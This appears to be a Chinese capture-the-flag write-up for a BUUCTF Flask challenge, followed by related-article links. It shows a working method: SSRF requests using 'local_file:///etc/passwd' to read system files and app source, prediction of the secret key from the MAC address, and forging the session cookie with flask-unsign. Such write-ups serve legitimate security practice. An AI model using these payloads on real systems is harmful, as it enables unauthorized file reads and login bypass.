BUUCTF-[CISCN2019 华东南赛区]Web4
BUUCTF-[CISCN2019 华东南赛区]Web4
看题

点击Read somethings,会跳转到
http://3fd8b1f9-614f-47ff-8e79-0f678e7bb4eb.node3.buuoj.cn/read?url=https://baidu.com
看url应该不是PHP,因为PHP几乎没有用这种路由,直接猜flask。使用read?url=local_file:///etc/passwd读取内容。
读取源码:read?url=local_file:///app/app.py
import re, random, uuid, urllib
from flask import Flask, session, request
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True
@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'
@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'
if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)
看这个地方
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'
当session中username=fuck时,可以直接得到flag。
所以,骚操作来了:伪造session。
session可不是乱替换的,它是有备而来......(=_=)
准备
伪造session需要密钥,而密钥的生成方式源码也已经给出了。
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
对于伪随机数,当seed固定时,生成的随机数是可以预测的,也就是顺序固定的,所以只要知道seed的值即可。这里的seed使用的uuid.getnode()函数,该函数用于获取Mac地址并将其转换为整数。所以我们还需要读一下Mac地址。
local_file:///sys/class/net/eth0/address
得到Mac地址(每个人都不一样):
02:42:ac:10:a1:50
用python2生成随机数,用python3的话生成小数的位数会不一样。
import random
random.seed(0x0242ac10a150)
print(str(random.random()*233))
得到随机数
222.550669756
session替换
有很多大佬用的是flask-session-cookie-manager-master这个工具,
我也用了,捣鼓了半天,一直报错。。。
然后师哥给我发了这个,他说:“你在练死劲,那不好使。”
https://github.com/Paradoxis/Flask-Unsign
具体安装过程在README.md中,内容是英文,加油!
(这个工具需要python版本大于等于3.6。
个人感觉在kali-Linux环境下更好安装和使用)
安装过程中
如果在执行该命令时报错
pip3 install flask-unsign[wordlist]
可以试着对pip3进行换源,很简单,可以去百度搜一下
(不过,我还是给出来了啦(=_=))
【临时使用国内源】
pip install -i https://pypi.tuna.tsinghua.edu.cn/simple some-package
【设为默认】(设置默认的话,pip版本是需要更新的)
pip install pip -U
pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple
安装完后
flask-unsign --decode --cookie 'eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.YJuCKw.COSA9fupuOO-gxLmD0q5u_lkLCY'
对session解密后得到{'username': b'www-data'}
把www-data替换为fuck,即{'username':b'fuck'}
然后对其进行加密
flask-unsign --sign --cookie '{'username':b'fuck'}' --secret '222.550669756' --no-literal-eval
就会生成替换的session
Int1c2VybmFtZTpiZnVja30i.YJvEYg.fL7nrdiYaqWOKWTv6800WKws9tM
替换后,读取flag
http://3fd8b1f9-614f-47ff-8e79-0f678e7bb4eb.node3.buuoj.cn/flag
就能得到flag了。
这题挺考验我的,因为我太菜了(=_=)
BUUCTF-[CISCN2019 华东南赛区]Web4的更多相关文章
- BUU-CTF[CISCN2019 华东南赛区]Web11
BUU-CTF[CISCN2019 华东南赛区]Web11 页面最下端有提示Build with Smarty ! 确定页面使用的是Smarty模板引擎.输入{$smarty.version}就可以看 ...
- 刷题[CISCN2019 华东南赛区]Web4
解题思路 打开有一个链接,那先点击一下 发现url处,很像命令执行,试一试.发现无论是什么都是no response,又是各种尝试 发现直接传?url=/etc/passwwd可以爆出回显,难道不是命 ...
- [BJDCTF2020]The mystery of ip|[CISCN2019 华东南赛区]Web11|SSTI注入
记录一下BUUCTF中两个类似的SSTI注入关卡 [BJDCTF2020]The mystery of ip-1: 1.打开之后显示如下: 2.在hint.php中进行了相关提示,如下: 3.既然获取 ...
- [CISCN2019 华东南赛区]Web11
[CISCN2019 华东南赛区]Web11 写在前面 参考文章:Smarty SSTI 1.{php}{/php} Smarty已经废弃{php}标签,强烈建议不要使用.在Smarty 3.1,{p ...
- [CISCN2019 华东南赛区]Double Secret
0x01 进入页面如下 提示我们寻找secret,再加上题目的提示,猜测这里有secret页面,我们尝试访问,结果如下 根据它这个话的意思,是让我们传参,然后它会给你加密,我们试一下 发现输入的1变成 ...
- 刷题记录:[CISCN2019 总决赛 Day1 Web4]Laravel1
目录 刷题记录:[CISCN2019 总决赛 Day1 Web4]Laravel1 解题过程 刷题记录:[CISCN2019 总决赛 Day1 Web4]Laravel1 题目复现链接:https:/ ...
- BUU XSS COURSE 1 & [CISCN2019 华东北赛区]Web2
BUU XSS COURSE 1 & [CISCN2019 华东北赛区]Web2 XSS的题目没怎么做过,比赛基本上也没有(=_=),总结下今天做的两题 都是看赵总视频现学现做的,这里附上学习 ...
- BUUCTF | [CISCN2019 华北赛区 Day1 Web2]ikun
步骤: 找到lv6的购买出,修改折扣买lv6 :然后找到admin的登陆界面,JWT破解,登陆admin :点击一键成为大会员,利用python反序列化漏洞读取flag 解析: 这题师傅们的WP已经很 ...
- BUUCTF | [CISCN2019 华北赛区 Day1 Web1]Dropbox
步骤: 1.运行这个: <?php class User { public $db; } class File { public $filename; } class FileList { pr ...
随机推荐
- 第一篇 -- Sprint Tool Suite配置和Hello World编写
首先需要安装 1. Sprint Tool Suite(本次所用版本:spring-tool-suite-3.8.3.RELEASE-e4.6.2-win32-x86_64) 2. Tomcat(本次 ...
- cmd MySQL登录
mysql -uroot -p >Mysql -P 3306 -h 0.0.0.0 -u root -p 可远程访问
- 2020国防科大综述:3D点云深度学习——综述(3D点云分割部分)
目录 摘要 1.引言: 2.背景 2.1 数据集 2.2评价指标 3.3D点云分割 3.1 3D语义分割 3.1.1 基于投影的方法 多视图表示 球形表示 3.1.2 基于离散的方法 稠密离散表示 稀 ...
- Unix 网络IO模型介绍
带着问题阅读 1.什么是同步异步.阻塞非阻塞 2.有几种IO模型,不同模型之间有什么区别 3.不同IO模型的应用场景都是什么 同步和异步.阻塞和非阻塞 同步和异步 广义上讲同步异步描述的是事件中发送方 ...
- Java中泛型的详细解析,深入分析泛型的使用方式
泛型的基本概念 泛型: 参数化类型 参数: 定义方法时有形参 调用方法时传递实参 参数化类型: 将类型由原来的具体的类型参数化,类似方法中的变量参数 类型定义成参数形式, 可以称为类型形参 在使用或者 ...
- GooseFS助力大数据业务数倍提升计算能力
前言 GooseFS是由腾讯云推出的一款分布式缓存方案,主要针对包括需要缓存加速的数据湖业务场景,提供基于对象存储COS服务的近计算端数据加速层. GooseFS 基于开源大数据缓存方案 Alluxi ...
- laod
https://iiio.io/download/20170120/ https://laod.cn/hosts/2017-google-hosts.html Copyright (c) 老D博客:h ...
- 如何区别php,jsp,asp,aspx随笔
PHP是一种跨平台的服务器端的嵌入式脚本语言.它大量地借用C.Java 和 Perl 语言的语法,并耦合PHP自己的特性,使WEB开发者能够快速地写出动态产生页面.它支持目前绝大多数数据库.还有一点, ...
- 基于SpringBoot的在线问卷调查管理系统
注意:该项目只展示部分功能,如需了解,评论区咨询即可. 1.开发环境 开发语言:Java 后台框架:SpringBoot 前端框架:vue 数据库:MySQL 设计模式:MVC 架构:B/S 源码类型 ...
- Vue系列-04-项目1
路飞学城项目 项目搭建 创建项目目录 # cd 项目目录 # vue init webpack luffy 效果 根据上面的提示,我们已经把vue项目构建好了,接下来我们可以在vscode编辑器中把项 ...